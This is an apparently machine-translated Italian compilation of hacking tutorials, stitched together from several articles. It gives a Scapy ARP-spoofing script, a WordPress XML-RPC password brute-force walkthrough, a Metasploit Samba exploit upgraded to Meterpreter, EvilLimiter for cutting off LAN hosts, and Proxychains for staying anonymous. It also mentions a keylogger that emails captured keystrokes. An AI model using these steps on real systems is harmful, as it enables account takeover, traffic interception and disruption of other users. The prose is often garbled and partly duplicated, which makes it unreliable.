Entrambi condividono una cosa in comune che è che entrambi sono troppo esperti nell'esperienza che detengono, ovvero i dati/informazioni. Inoltre, entrambi gli Excelsior sono magnati di Python. Le abilità di Python hanno diffuso l'aura della loro creatività. Il corso di formazione per la certificazione Python online non solo aumenterà le competenze di Python, ma ti trasformerà anche in una persona che pensa come un genio del computer.

È la codifica che amplia la tua capacità logica e il tuo ragionamento per prevedere il tuo futuro deserto.

Il corso ti guida anche attraverso le tecniche o gli algoritmi di smistamento per una migliore elaborazione del pensiero per avere una varietà di metodi di attacco alla fonte o alla vittima. Allo stesso tempo, lo stesso fatto si applica anche a Whitehat. Eseguono il codice nelle direzioni di contrattacco.

Cominciamo con alcuni elementi essenziali che ogni appassionato di sicurezza deve conoscere:

  1. Raccolta di informazioni
  2. Registratore di tasti
  3. Spoofing automatico (spoofing ARP)

Raccolta di informazioni

Questa è la parte più vitale di ogni lavoro professionale di sicurezza. L'obbligo di raccolta delle informazioni fornisce una conoscenza brusca o brusca di come superare l'applicazione web. Tutte le presentazioni sono fatte raccogliendo la parte informativa. Il pubblico ha già un'enorme quantità di strumenti e script Python pre-scritti per emulsionare le tue quattro mura. I firewall sono quindi in gioco. Così la comunità conosciuta con il nome di Joker Security si presenta con lo strumento Devploit che viene ampiamente utilizzato nel corso della raccolta di informazioni. Lo strumento Mercury è un altro stesso tipo di strumento per svolgere lo stesso compito.

Devploit è un'apparecchiatura digitale facile su cui mettere le mani che fornisce la fonte di informazioni per l'obiettivo. Per questo scopo basta eseguire alcuni comandi fondamentali di Linux. Questo può aiutare ad accumulare una pila di informazioni prima dell'exploit. Questo strumento accompagna gli altri piccoli strumenti come DNS, Whois IP, Geo IP, Subnet, Port Scanner, et al., Tutti sono pratici e comodi nelle prime fasi di pentesting/penetration testing. Abbiamo altre distribuzioni di Linux in cui è possibile installare lo strumento senza ostacoli come Ubuntu, Mint, Parrot.

root@kali:/home/iicybersecurity/Downloads/Devploit# ls -ltr
total 32
-rw-r–r– 1 root root 1838 Dec 30 23:32 README.md
-rw-r–r– 1 root root 2154 Dec 30 23:32 install
-rw-r–r– 1 root root 8469 Dec 30 23:32 Devploit.py
drwxr-xr-x 2 root root 4096 Dec 30 23:32 Dev
-rw-r–r– 1 root root 1990 Dec 30 23:32 update.py
drwxr-xr-x 5 root root 4096 Dec 30 23:32 moduli

Con le impostazioni predefinite, il programma di installazione di devploit non viene fornito con i permessi di esecuzione o esecuzione, quindi modifica i permessi del tipo di file di installazione digitando " chmod u+x install ".

Basta controllare se le autorizzazioni sono cambiate o meno digitando nuovamente " ls -ltr ". Se le autorizzazioni sono in movimento, il file cambierà colore in verde.

root@kali:/home/iicybersecurity/Downloads/Devploit# chmod u+x install
root@kali:/home/iicybersecurity/Downloads/Devploit# ls -ltr
total 32
-rw-r–r– 1 root root 1838 Dec 30 23 :32 README.md
-rwxr–r– 1 root root 2154 Dec 30 23:32 install
-rw-r–r– 1 root root 8469 Dec 30 23:32 Devploit.py
drwxr-xr-x 2 root root 4096 Dec 30 23:32 Dev
-rw-r–r– 1 root root 1990 Dec 30 23:32 update.py
drwxr-xr-x 5 root root 4096 Dec 30 23:32 moduli

Dopo tutto questo tipo " python3 Devploit.py " o " python Devpolit.py ".

Esempio:

root@kali:/home/iicybersecurity/Download/Devploit# python Devploit.py

Nel momento in cui premi il tasto Invio ti verrà richiesto con la CLI della maggior parte delle operazioni di Devploit come:

1 } ==> Ricerca DNS
2 } ==> Ricerca Whois
3 } ==> Ricerca GeoIP
4 } ==> Ricerca sottorete
5 } ==> Scanner porta
6 } ==> Estrai collegamenti
7 } ==> Trasferimento zona
8 } ==> HTTP Header
9 } ==> Host Finder
10} ==> IP-Locator
11} ==> Traceroute
12} ==> Robots.txt
13} ==> Host DNS Finder
14} ==> IP inverso Ricerca
15} ==> Email raccolta
16} ==> Ricerca sottodominio
17} ==> Installa e aggiorna
18} ==> Informazioni personali
00} ==> Esci

Registratore di tasti in Python: PyLoggy

Il Pylogger è un potente strumento che cattura le sequenze di tasti, i registri del mouse, gli screenshot. Lo strumento invia automaticamente i report al titolare dell'email, minuto per minuto.

Il codice dello script PyLoggy è disponibile nel repository github — per gentile concessione di D4Vinci.

Spoofing automatico

A differenza dello sniffing dei pacchetti , lo spoofing dei pacchetti recupera il traffico sulla tua macchina.

Quando sei in una riunione con i tuoi amici e colleghi, circondati e qualcuno da qualche parte dice di te che sei un Ethical Hacker - Credimi! Questo è il momento che vuoi catturare! Lo sguardo su quei volti ripaga ogni singolo secondo trascorso di notte sullo schermo della tua macchina da 15,6 pollici.

Un hacker etico è una persona con questi tre campi distinti: a) Conoscenza, b) Potere ec) Coscienza.

ARP Spoofing è il modo per reindirizzare il traffico Internet all'hacker stesso falsificando l'indirizzo IP (Internet Protocol)

ImageSource: Medio

Protocollo di risoluzione degli indirizzi: ARP Spoofer

Il reindirizzamento del traffico è tutto in ARP Spoofer. Per continuare con ARP Spoofing, abbiamo bisogno di 3 nodi. Il nodo primario è il nodo hacker e gli altri due nodi secondari sono i nodi di sistema in cui si verificano le interazioni. Innanzitutto, dobbiamo conoscere l'IP e l'indirizzo MAC del router e della vittima. Quindi nella finestra del terminale digita il seguente comando.

$arp -a

Questo illuminerà il terminale con tutti i prerequisiti.

Scegli l'indirizzo IP della vittima.

Selezionare l'indirizzo MAC del sistema di destinazione.

Ora cuciniamo la ricetta del nostro spoofer in uno dei migliori IDE, ovvero PyCharm

import scapy.all as scap
while True:
packet = scap.ARP(op=1, pdst=”192.168.111.157″, hwaddr=”00:0c:29:1e:76:af”, psrc=”192.168.111.2″ )
scap.send(packet) #Pacchetto che comunica alla vittima (con indirizzo ip 192.168.111.157) che l'hacker è il router.
pacchetto = scap.ARP(op=1, pdst=”192.168.111.2″, hwaddr=”00:50:56:e7:86:57″, psrc=”192.168.111.157″) scap.send(pacchetto)
#Pacchetto sta dicendo al Router (con indirizzo IP 192.168.111.2) che l'hacker è la Vittima.

Ora nella macchina della vittima esegui lo stesso comando per verificare:

$arp -a

L'involucro

L'intero punto di vista dell'articolo è quanto sia essenziale Python! Quindi che si tratti di sicurezza informatica o di qualsiasi altro campo dell'Information Technology. Python è in ogni radice e ramoscello del settore.

Gli appassionati di sicurezza con competenze Python hanno più comunità per la discussione.

I 3 migliori strumenti di test SSL open source

       

Sicurezza, privacy e integrità dei dati sono proprietà importanti delle applicazioni e dei protocolli Internet odierni. La sicurezza e la riservatezza di milioni di transazioni Internet al giorno dipendono dal protocollo Secure Socket Layer (SSL)/Transport Layer Security (TLS).

Negli ultimi anni, il protocollo SSL è stato oggetto di una serie di attacchi riusciti da parte di ricercatori di sicurezza, alcuni sfruttando difetti nei sistemi implementati mentre altri hanno fatto uso di ingegneria sociale e altre forme di inganno.

Poiché Internet viene utilizzato per molte attività commerciali, come lo shopping, l'online banking o il commercio elettronico, il valore dei dati è aumentato. Pertanto, ci si aspetta sempre più che i protocolli e le applicazioni di rete proteggano i dati critici fornendo crittografia, integrità dei dati e, soprattutto, autenticazione delle entità.

Lettura consigliata: installazione e configurazione di SSL gratuito – sslforfree.com

Poiché questi obiettivi di sicurezza sono difficili da raggiungere, gli sviluppatori di applicazioni e i progettisti di protocolli spesso si affidano a livelli di sicurezza consolidati al di sotto dei propri protocolli. Le suite di protocolli SSL e TLS sono utilizzate da molte applicazioni e protocolli per fornire un certo livello di sicurezza, poiché si basano su algoritmi crittografici ben compresi e analizzati a fondo.

Tieni sempre presente che, sebbene il protocollo HTTP sia il protocollo, che utilizza fortemente SSL, per proteggere la comunicazione. SSL è un protocollo indipendente dal livello dell'applicazione. Quindi puoi usarlo con qualsiasi protocollo a livello di applicazione.

Fondamentalmente SSL ha tre livelli di sicurezza, ovvero:

Qui abbiamo elencato i 3 migliori scanner SSL open source attraverso i quali puoi testare facilmente la sicurezza del tuo server SSL/TLS.

1. SSLIZZA

SSLyze è uno dei più potenti strumenti da riga di comando per la scansione del server SSL/TLS che analizza la configurazione SSL di un server attraverso il quale è possibile identificare facilmente tutte le vulnerabilità, configurazioni errate ecc.

SSLyze è già stato testato su varie piattaforme come Debian 7, macOS High Sierra e Windows 10.

Collegamento Github – https://github.com/nabla-c0d3/sslyze

L'installazione può essere facilmente eseguita direttamente tramite lo strumento pip come segue:

Comando: pip install –upgrade setuptools
Comando: pip install –upgrade sslyze

Oppure puoi clonare direttamente il repository eseguendo il seguente comando:

Comando: git clone https://github.com/nabla-c0d3/sslyze
Comando: cd sslyze
Comando: pipenv install –dev
Comando: pipenv shell

2. SCANSIONE SSL

SSLScan è progettato per essere facile, snello e veloce. L'output include le crittografie preferite del servizio SSL/TLS e sono supportati i formati di output di testo e XML. È compatibile con TLS SNI se utilizzato con una versione supportata di OpenSSL.

E puoi persino automatizzare l'intero processo di esecuzione della scansione ssl tramite Auto-sslscan che analizza un file di output nmap.xml, estrae tutti i servizi SSL ed esegue automaticamente una sslscan.

Collegamento Github – https://github.com/rbsec/sslscan

Puoi installare direttamente questo strumento eseguendo il seguente comando:

Comando: apt install sslscan

Se per qualsiasi motivo non puoi installare il suddetto pacchetto, segui le istruzioni qui per costruire staticamente contro OpenSSL.

3. PROVESL

È uno strumento da riga di comando gratuito che controlla quasi tutte le principali vulnerabilità come Heartbleed, CRIME, BREACH, Poodle, Beast ecc. Lo script Testssl.sh è praticamente portatile e compatibile con ogni Linux, Mac OS X e FreeBSD.

Collegamento Github – https://github.com/drwetter/testssl.sh

Installazione: per installare questo strumento, esegui il seguente comando nel tuo terminale:

Comando: git clone –depth 1 https://github.com/drwetter/testssl.sh.git

Per testare tutte le vulnerabilità, il comando è:

Comando: ./testssl.sh -U <https://example.com>

Nel caso in cui, se si desidera testare una particolare vulnerabilità, ad esempio Heartbleed, il comando sarebbe:

Comando: ./testssl.sh -B <https://example.com>

Per ulteriori informazioni su questo strumento, è possibile fare riferimento al sito Web ufficiale https://testssl.sh .

Altri script/strumenti utili per testare SSL:-

I 10 principali comandi NMAP ampiamente utilizzati

       

Si può essere curiosi di capire come fa l'intruso di rete a sapere quali porte sono aperte su un computer? O forse come rilevano quali servizi sono in esecuzione nel sistema anche senza alcuna autorizzazione preventiva da parte dell'amministratore di rete.

Bene, chiunque può fare queste cose e anche di più con l'aiuto dello strumento Nmap che è uno dei migliori Port Scanner utilizzato da molti esperti di sicurezza di rete, ricercatori di rete e amministratori.

Lettura consigliata: 19 utili comandi NMAP che dovresti conoscere

Esistono molte tecniche di scansione che possono essere utilizzate in Nmap. Questo articolo ha lo scopo di fornire una panoramica di base sulle 10 principali tecniche di scansione Nmap .

  1. Scansione connessione TCP (-sT)
  2. Scansione TCP SYN (-sS)
  3. Rilevamento versione (-sV)
  4. Scansione UDP (-sU)
  5. Impronte digitali del sistema operativo (-O)
  6. Scansione delle informazioni sul sistema operativo (-A)
  7. Scansione porte superiori (-F)
  8. Scansiona obiettivi da un file (-iL)
  9. Scansione ACK TCP (-sA)
  10. Scansione ping (-sP)

[#1] – Scansione porta di connessione TCP

Sintassi: nmap -sT <indirizzo IP>

La scansione di connessione TCP è il tipo di scansione TCP predefinito quando la scansione SYN non è un'opzione. Questo è il caso in cui un utente non dispone dei privilegi sui pacchetti non elaborati o esegue la scansione di reti IPv6.

Il TCP Connect Scan è una semplice sonda che tenta di connettersi direttamente al sistema remoto senza utilizzare alcuno stealth

[#2] – Scansione porta TCP SYN

Sintassi: nmap -sS <indirizzo IP>

Questo tipo di scansione non stabilisce una connessione TCP. Eseguirà la scansione inviando un pacchetto di flag SYN e se la porta è aperta, verrà inviato un SYN/ACK come risposta dalla macchina di destinazione, risultando quindi in una connessione a metà embrione.

Poiché non verrà stabilita una connessione completa, le informazioni sulla connessione non verranno registrate dai firewall/IDS e quindi è ampiamente noto come scansione invisibile. Se viene ricevuto un pacchetto RST come risposta, probabilmente il post è chiuso.

[#3]- Scansione versione

Sintassi: nmap -sV <indirizzo IP>

Il rilevamento della versione raccoglie informazioni sul servizio specifico in esecuzione su una porta aperta, inclusi il nome del prodotto e il numero di versione.

Queste informazioni possono essere utilizzate per determinare un punto di ingresso per un attacco. L'opzione -sV abilita il rilevamento della versione e l'opzione -A abilita sia l'impronta digitale del sistema operativo che il rilevamento della versione

[#4] – Scansione porta UDP

Sintassi: nmap -sU <indirizzo IP>

La scansione UDP funziona inviando un pacchetto UDP alla porta di destinazione. Se non viene ricevuta alcuna risposta, la porta verrà considerata come Open | filtrato.

Filtrato perché alcuni firewall non rispondono alle porte UDP bloccate. Se la porta è chiusa, il dispositivo di destinazione invierà una risposta ICMP (errore porta irraggiungibile ICMP tipo 3, codice 3).

[#5] – Impronte digitali del sistema operativo

Sintassi: nmap -O <indirizzo IP>

Con -O (O maiuscola) o –osscan-guess, puoi facilmente rilevare il sistema operativo di destinazione dietro di esso utilizzando l'impronta digitale dello stack TCP/IP. Nmap invia una serie di pacchetti TCP e UDP all'host remoto ed esamina le risposte. Dopo aver eseguito dozzine di test, Nmap confronta i risultati con il suo database e stampa i dettagli del sistema operativo se c'è una corrispondenza.

[#6] – Scansiona le informazioni sul sistema operativo

Sintassi: nmap -A <indirizzo IP>

Con Nmap, puoi rilevare quale sistema operativo e versione è in esecuzione sull'host remoto. Per abilitare il rilevamento del sistema operativo e della versione, la scansione degli script e il traceroute, puoi utilizzare l'opzione "-A" con NMAP.

Questo tipo di scansione utilizza i flag ACK. A differenza di altre scansioni, la scansione ACK non viene utilizzata per determinare se la porta è aperta o chiusa.

Viene utilizzato per mappare i set di regole del firewall, determinando se sono stateful o meno e quali porte sono filtrate. I firewall con stato risponderanno con un pacchetto RST poiché la sequenza non è corretta.

[#7] – Scansiona le porte superiori (modalità veloce)

Sintassi: nmap -F <indirizzo IP>

Invece di scansionare tutte le porte della scansione predefinita, la scansione veloce ne scansiona solo alcune.

L'utilizzo del parametro " –top-ports " insieme a un numero specifico consente inoltre di scansionare le prime X porte più comuni per quell'host.

Esempio: nmap –top-ports 20 10.228.13.224

[#8] – Scansiona obiettivi da un file

Sintassi: nmap -iL targets.txt

In questo caso Nmap è utile anche per leggere i file che contengono al loro interno host e indirizzi IP.

[#9] – Scansione porta ACK TCP

Sintassi: nmap -sA <indirizzo IP>

Questo tipo di scansione utilizza i flag ACK. A differenza di altre scansioni, la scansione ACK non viene utilizzata per determinare se la porta è aperta o chiusa.

Viene utilizzato per mappare i set di regole del firewall, determinando se sono stateful o meno e quali porte sono filtrate. I firewall con stato risponderanno con un pacchetto RST poiché la sequenza non è corretta.

[#10] – Scansione ping

Sintassi: nmap -sP <indirizzo IP>

Questo tipo di scansione viene utilizzato per rilevare quali computer o dispositivi sono online, piuttosto che quali porte sono aperte.

In questo, Nmap invia un pacchetto ICMP ECHO REQUEST al sistema di destinazione. Se viene ricevuto un ICMP ECHO REPLY, il sistema viene considerato attivo ei pacchetti ICMP non vengono bloccati.

Se non c'è risposta alla richiesta ping ICMP, Nmap proverà un "TCP Ping", per determinare se ICMP è bloccato o se l'host non è davvero online.

Bruteforce WordPress con XMLRPC Python Exploit

       

WordPress non è diventata la piattaforma più popolare al mondo per CMS e pubblicazione di blog, perché è piuttosto difficile da usare. Molto probabilmente, il suo comodo e ricco set di funzionalità ha attratto circa 70 milioni di siti Web e questo è solo il numero di blog ospitati su WordPress.com

Oggi ci interessa utilizzare la piattaforma XML-RPC , una chiamata di procedura remota (chiamata RPC), che consente a XML codificato di chiamare ciò che viene trasmesso tramite il protocollo HTTP. Ciò consente ai dipendenti di WordPress di pubblicare facilmente materiale da remoto, nonché di pubblicare grandi quantità di dati.

Ma questa capacità di inserire una grande quantità di dati implica anche che siamo hacker, possiamo inserire password lì. Non c'è dubbio che puoi accedere all'account di qualcun altro su WordPress, ma tutti i tuoi 500 tentativi sembrano molto goffi e goffi. La procedura per selezionare una password può essere molto più semplice.

Lettura consigliata: rilevamento live e sfruttamento del file Xmlrpc.Php di WordPress

Questa vulnerabilità è stata notata per la prima volta nel settembre 2015 ed è una delle tante che sono passate attraverso XML-RPC. WordPress ha risolto rapidamente questo problema, quindi la maggior parte delle versioni a partire da WordPress 4.4.1 sono immuni a questo hack. Tuttavia, non dimenticare quei 70 milioni di siti, molti dei quali utilizzano la versione precedente o sono privi di patch, il che li rende vulnerabili alla tua password.

Puoi semplicemente controllare il tuo sito web per la presenza del file /xmlrpc.php , come abbiamo verificato qui https://www.example.com/xmlrpc.php . Se l'XML-RPC viene sfruttato o è presente, riceverai una notifica. Sembra che abbiamo trovato un blog potenzialmente vulnerabile (ti diranno "proibito" o qualcosa di simile).

Senza andare in profondità, XML-RPC funziona con la funzionalità system.multicall di WordPress , che suggerisce come inviare una grande quantità di informazioni a un sito contemporaneamente, ad esempio, durante il download di contenuti o la ricerca di tutti gli ultimi post .

Questo exploit utilizza un metodo mediante il quale il contenuto o, in questo caso, le password vengono spostati nella procedura di identificazione dell'utente. Durante la procedura di login, WP invia semplicemente un file XML con una stringa del tuo nome e una stringa con la tua password.

Di seguito è riportato un esempio di come appare in formato XML. Una sezione dedicata è solo un tentativo di scegliere una password, quindi dovrai ripetere questa sezione molte volte utilizzando password diverse. Come puoi immaginare, ci vorrà molto tempo per ordinare le opzioni della password una per una.

Per velocizzare questo processo, utilizziamo lo script trovato su GitHub , che legge il nostro elenco di password e ripete automaticamente la sezione evidenziata mostrata sopra, sostituendo ogni volta una nuova password dal nostro elenco. Quindi, vai su 1N3 / WordPress-XMLRPC-Brute-Force-Exploit su GitHub e scarica i file tramite il collegamento HTTP o tramite git clone.

Apri una finestra di terminale e digita il seguente comando:

Comando: git clone https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit

Oppure puoi scaricare direttamente il file zip ed eseguire il seguente comando:

Comando: decomprimere WordPress-XMLRPC-Brute-Force-Exploit-master.zip

Finché sei qui, ciò non influirà sui diritti di accesso al file Python, quindi possiamo essere certi che non ci saranno ulteriori problemi durante questa esecuzione.

È necessario osservare quanto segue, ovvero il nome del file Python, quindi il nome del server, quindi il nome del file con la password e infine il nome dell'utente.

Qui abbiamo usato il file passwords.txt , che include il file GitHub scaricato (che include un piccolo numero di password), e useremo "        " come nome utente.

Comando: python wordpress-xmlrpc-brute-v2.py https://www.example.com/xmlrpc.php passwords.txt nome utente

Quindi, quando esegui i passaggi precedenti, utilizzando il nome del tuo server di destinazione invece del nostro file di password e nome utente, lo script Python li passerà attraverso il file passwords.txt incluso e verrà eseguito in un modo più nascosto. Se tutto è andato bene, lo script fornirà il tuo login sotto forma di nome utente / password come mostrato sopra (       /000000 ).

Difendersi dalle vulnerabilità XML-RPC è abbastanza semplice: le versioni più recenti non includono alcuna funzionalità. Ciò significa che molti strumenti WordPress di terze parti, come Jetpack e applicazioni per smartphone come IFTTT, potrebbero richiedere l'uso di XML-RPC, quindi anche alcune versioni moderne di WordPress sono vulnerabili e aperte all'implementazione esterna.

Controlla la tua versione di WordPress e assicurati che installando un nuovo strumento che consenta l'interazione con WP da una posizione remota, non aprirai la porta a un'intrusione XML-RPC o qualsiasi altro intervento. Questa è una delle tante vulnerabilità di WordPress e questo semplice script di attacco sarà un buon inizio per imparare WordPress.

Come utilizzare Proxychains nel sistema operativo Kali Linux

       

Ci sono molti hacker e cracker in tutto il mondo, alcuni sono buoni e altri sono cattivi. Gli hacker vogliono sempre essere anonimi mentre fanno il loro lavoro. Gli strumenti possono essere utilizzati per nascondere l'identità dell'hacker dall'essere esposta come VPN (Virtual Private Network), server proxy e RDP (Remote Desktop Protocol) ecc.

In questo articolo, discuteremo di un servizio di anonimato integrato nel sistema operativo Kali Linux chiamato Proxychains attraverso il quale puoi facilmente mascherare il tuo indirizzo IP con molti server proxy.

Soprattutto nel sistema operativo Kali Linux, le proxychain sono preinstallate, ma se hai intenzione di utilizzare un'altra distribuzione Linux, devi installare il pacchetto TOR eseguendo il seguente comando nel tuo terminale:

Comando: apt-get install tor

Iniziamo trovando le proxychain digitando:

Comando: trova proxychains

Come puoi vedere, proxychains si trova nella directory /usr/bin. Invece di eseguire uno strumento di test di penetrazione o creare più richieste a qualsiasi target utilizzando direttamente il nostro IP, possiamo lasciare che Proxychains copra e gestisca il lavoro. Aggiungi il comando " proxychains " per ogni lavoro, ciò significa che abilitiamo il servizio Proxychains.

Ad esempio, se desideri eseguire la scansione degli host disponibili e delle relative porte nella nostra rete utilizzando Nmap insieme a proxychains, il comando dovrebbe assomigliare a questo:

Comando: proxychains nmap -sS <indirizzo IP>

Come quasi ogni applicazione/pacchetto in Linux, la configurazione è gestita da un semplice file di testo chiamato file di configurazione. Nel caso di proxychains, questo file è /etc/proxychains.conf.

Comando: gedit /etc/proxychains.conf

Se scorriamo un po' il file sopra, vedrai una sezione che abbiamo evidenziato con l'etichetta " aggiungi proxy qui... " dove puoi facilmente aggiungere il tuo elenco di proxy in qualsiasi ordine.

Per acquistare proxy Socks5 e HTTPs privati, visita proxy-seller.com .

Nota: è importante notare che l'impostazione predefinita di proxychains utilizza TOR come indirizzo proxy che punta a 127.0.0.1:9050.

Fondamentalmente sono disponibili 3 tipi di catene attraverso le quali è possibile utilizzare le proxychain.

Per impostazione predefinita, l'opzione di catena rigorosa è abilitata. Significa che il traffico verrà instradato in un ordine particolare passo dopo passo come da 1 a 2, da 2 a 3, da 3 a 4 ecc. allora non sarai in grado di accedere a Internet perché la catena è stata interrotta

In secondo luogo, la catena dinamica funziona esattamente come la catena rigorosa ma non richiede che tutti i proxy funzionino. Se un proxy si interrompe, passerà automaticamente al server proxy successivo.

Per abilitare Dynamic Chain, è necessario decommentare la seguente riga dal file di configurazione che si trova in /etc/proxychains.conf

catena_dinamica

Infine, abbiamo una catena casuale che non segue l'ordine dei proxy. Ogni volta che viene effettuata una richiesta, il traffico verrà instradato attraverso server proxy casuali.

Per abilitare questa opzione, devi nuovamente decommentare la seguente opzione come mostrato di seguito:

catena_casuale

 

Limita la velocità Internet degli utenti LAN [Evil Limiter]

       

Internet può portare con sé una grande quantità di traffico indesiderato, inclusi hacker, bot spam, spyware e altro ancora.

EvilLimiter: uno strumento per limitare la larghezza di banda (upload/download) dei dispositivi connessi alla rete senza accesso fisico o amministrativo. Utilizza lo spoofing ARP e il traffic shaping per limitare la larghezza di banda degli host sulla rete.

Nel primo passaggio, devi clonare il repository Evil Limiter da Github usando il comando git come mostrato di seguito:

Comando: git clone https://github.com/bitbrute/evillimiter.git

Accanto all'installazione, digita il seguente comando nel tuo terminale.

Comando: sudo python3 setup.py install

Digita evillimiter o python3 bin/evillimiter per eseguire lo strumento che mostra una schermata di benvenuto come mostrato di seguito:

EvilLimiter recupererà automaticamente tutte le informazioni richieste come l'interfaccia di rete, l'indirizzo IP del gateway, l'indirizzo Mac del gateway e l'indirizzo della maschera di rete, ecc.

Puoi esplorare più funzionalità di Evil Limiter guardando attraverso il sistema di menu e controllando i comandi disponibili. Per fare ciò, digita un punto interrogativo ( ? ) nel terminale per aprire la pagina della guida.

La scoperta dell'host, il processo per determinare quali sistemi su una rete sono attivi e in ascolto, è spesso il primo passo in un'azione di scansione di una rete ostile.

Per fare ciò, digita il comando " scan " che filtrerà automaticamente tutti gli host attivi nella tua stessa rete.

Fondamentalmente, ci sono due protocolli che sono più comunemente usati per l'individuazione degli host: scansioni ARP (Address Resolution Protocol) e diversi tipi di scansioni ICMP (Internet Control Message Protocol).

Puoi anche passare un flag facoltativo al comando di scansione che è range che ti aiuterà a specificare l'intervallo di indirizzi IP che vuoi scansionare in questo modo

Comando: scan –range 10.228.1.1-10.228.1.254

Che eseguirà la scansione di un totale di 254 host da 10.228.1.1 a 10.228.1.254

Come puoi vedere, 92 host sono attivi nella nostra rete e per visualizzare ulteriori informazioni sugli host attivi, digita il comando " hosts " che visualizzerà ulteriormente rispettivamente tutti gli indirizzi IP e gli indirizzi MAC.

Ora conosci gli host sulla tua rete e ora dovresti sapere quale host vuoi bloccare o limitare in base all'indirizzo mac dell'host. Ricorda l'ID host dell'host che desideri bloccare o limitare la larghezza di banda e lascia fare la magia.

Ora per bloccare un particolare IP o host dall'utilizzo dell'accesso a Internet, digitare il seguente comando " block <Number> " seguito dall'ID host che interrompe istantaneamente tutta la connessione Internet rispetto a quell'indirizzo IP in pochi secondi.

E nel caso, se si desidera annullare o recuperare la connessione Internet, il comando è " free <Number> ".

Invece di bloccare o consentire l'host, se vuoi solo limitare la sua larghezza di banda Internet, possiamo farlo usando il comando limit seguito dall'ID host e quindi dalla larghezza di banda che vogliamo allocare a quel particolare host in questo modo:

Sono disponibili così tanti altri strumenti open source che eseguono lo stesso processo di EvilLimiter:

Conclusione:

Una cosa da tenere a mente quando si utilizza Evil Limiter è che lo spoofing ARP può anche esporre il tuo indirizzo MAC, quindi l'utilizzo di questo strumento su una rete sta effettivamente dicendo a tutti che il tuo indirizzo MAC è il router. Ciò lascia il tuo indirizzo MAC nella cache ARP di ogni macchina che stai prendendo di mira, quindi assicurati di falsificare il tuo indirizzo MAC prima di utilizzare questo strumento se non vuoi lasciare le impronte digitali della tua macchina in tutta la rete.

[Metasploit] Aggiornamento della normale shell di comando a Meterpreter Shell

       

Metasploit Framework contiene una suite di strumenti che puoi utilizzare per testare le vulnerabilità della sicurezza, enumerare le reti, eseguire attacchi ed eludere il rilevamento.

Una delle migliori caratteristiche di Metasploit Framework è che puoi facilmente aggiornare il tuo normale payload della shell di comando nel payload Meterpreter una volta che il sistema è stato sfruttato.

Meterpreter è un payload di attacco Metasploit che fornisce una shell interattiva da cui un utente malintenzionato può esplorare la macchina bersaglio ed eseguire il codice. Meterpreter viene distribuito utilizzando l'iniezione di DLL in memoria. Di conseguenza, Meterpreter risiede interamente in memoria e non scrive nulla su disco.

Per dimostrare lo stesso, stiamo usando la macchina VM Metasploitable2 come bersaglio e la macchina Kali Linux come macchina attaccante.

In metasploitable2, useremo un exploit samba contro la nostra vittima per ottenere un accesso alla shell di comando UNIX. Il vantaggio principale di Samba è che rende la condivisione di file tra diversi sistemi un processo semplice per gli amministratori di sistema. Tante aziende stanno implementando questo servizio per consentire ai propri utenti di trasferire file.

Avvia il framework metasploit digitando " msfconsole " nel tuo terminale.

Iniziamo trovando l'exploit come mostrato di seguito:

Comando: cerca samba

Come puoi vedere, abbiamo ottenuto molti risultati e l'exploit che useremo contro metasploitable è usermap_script exploit.

Questo modulo sfrutta una vulnerabilità di esecuzione dei comandi nelle versioni di Samba da 3.0.20 a 3.0.25rc3 quando si utilizza l' opzione di configurazione " username map script " non predefinita . Specificando un nome utente contenente metacaratteri della shell, gli aggressori possono eseguire comandi arbitrari. Non è necessaria alcuna autenticazione per sfruttare questa vulnerabilità poiché questa opzione viene utilizzata per mappare i nomi utente prima dell'autenticazione!

Per utilizzare questo exploit, digita il seguente comando:

Comando: usa exploit/multi/samba/usermap_script

Digita " mostra opzioni " per visualizzare più opzioni sull'exploit.

Ora come vedi, dobbiamo impostare RHOST che è l'indirizzo di destinazione (indirizzo IP della macchina VM Metasploitable2).

Per impostare RHOST, digitare " set RHOSTS <IP> "

Inoltre, per visualizzare l'elenco di tutti i payload, è possibile digitare il comando " show payloads " che elenca tutti i payload correlati disponibili.

Qui, in questo scenario, utilizzeremo il seguente payload:

Comando: set payload cmd/unix/bind_perl

Nota: il payload TCP inverso di Meterpreter non funzionerà a causa della non compatibilità.

Vediamo qui che tutte le nostre opzioni sono state impostate per noi, quindi proviamo a sfruttare digitando il comando " run " e lanciare l'attacco.

Come puoi vedere, è stata aperta una sessione della shell dei comandi ma non possiamo eseguire tutti i comandi sulla destinazione a causa dell'accesso limitato alla shell.

Passiamo al secondo passaggio per aggiornare la normale shell dei comandi nella shell meterpreter.

Ora premi CTRL + Z per spostare il tuo attuale accesso alla shell in background come mostrato di seguito:

Proviamo a scoprire il modulo aggiornato digitando il seguente comando:

Comando: cerca shell_to_meterpreter

Metasploit ha una vasta gamma di moduli post-sfruttamento che possono essere eseguiti su obiettivi compromessi per raccogliere prove, ruotare più in profondità in una rete bersaglio e molto altro.

Per utilizzare il modulo precedente, digitare  use  command seguito da show options come mostrato di seguito

Comando: usa post/multi/manage/shell_to_meterpreter

Nota: un modulo è un software utilizzato da Metasploit Framework per eseguire un'attività, come l'exploit o la scansione di un target.

Nello screenshot sopra, puoi vedere che dobbiamo impostare due opzioni, ovvero LHOST e SESSION ID.

Per visualizzare tutte le sessioni, digita il comando " sessions -l " che elenca tutte le sessioni correnti con il rispettivo numero ID.

Ora per impostare la sessione, digitare " set SESSION 1 " e quindi eseguire il modulo come mostrato di seguito:

Va bene, ora quando eseguiamo questo modulo, utilizzerà la sessione che abbiamo già per generare una nuova sessione meterpreter, questo ci darà il controllo che vogliamo! Quindi eseguiamo questo modulo e otteniamo il nostro meterpreter!

Digita nuovamente " sessions -l " per visualizzare tutte le sessioni.

Per interagire con la shell meterpreter, digita sessions -i  seguito dal nostro numero di sessione meterpreter che è 2 nel nostro caso.

Siamo stati in grado di compromettere il bersaglio senza far atterrare un meterpreter a tutti gli effetti, e quindi aggiornare il normale guscio di comando che invece siamo riusciti a far atterrare. Questo ci ha dato il meterpreter e, a sua volta, il controllo che volevamo!

Espoofer: uno strumento di test per lo spoofing delle e-mail che mira a bypassare SPF/DKIM/DMARC

Espoofer  è uno strumento di test open source per bypassare l'autenticazione SPF, DKIM e DMARC nei sistemi di posta elettronica. Aiuta gli amministratori del server di posta e i penetration tester a verificare se il server e il client di posta di destinazione sono vulnerabili agli attacchi di spoofing della posta o se possono essere utilizzati in modo improprio per inviare e-mail di spoofing.

Perché costruire questo strumento?

Lo spoofing delle e-mail è una grande minaccia sia per gli individui che per le organizzazioni (Yahoo breach, John podesta). Per risolvere questo problema, i moderni servizi di posta elettronica e i siti Web utilizzano protocolli di autenticazione (SPF, DKIM e DMARC) per impedire la contraffazione delle e-mail.

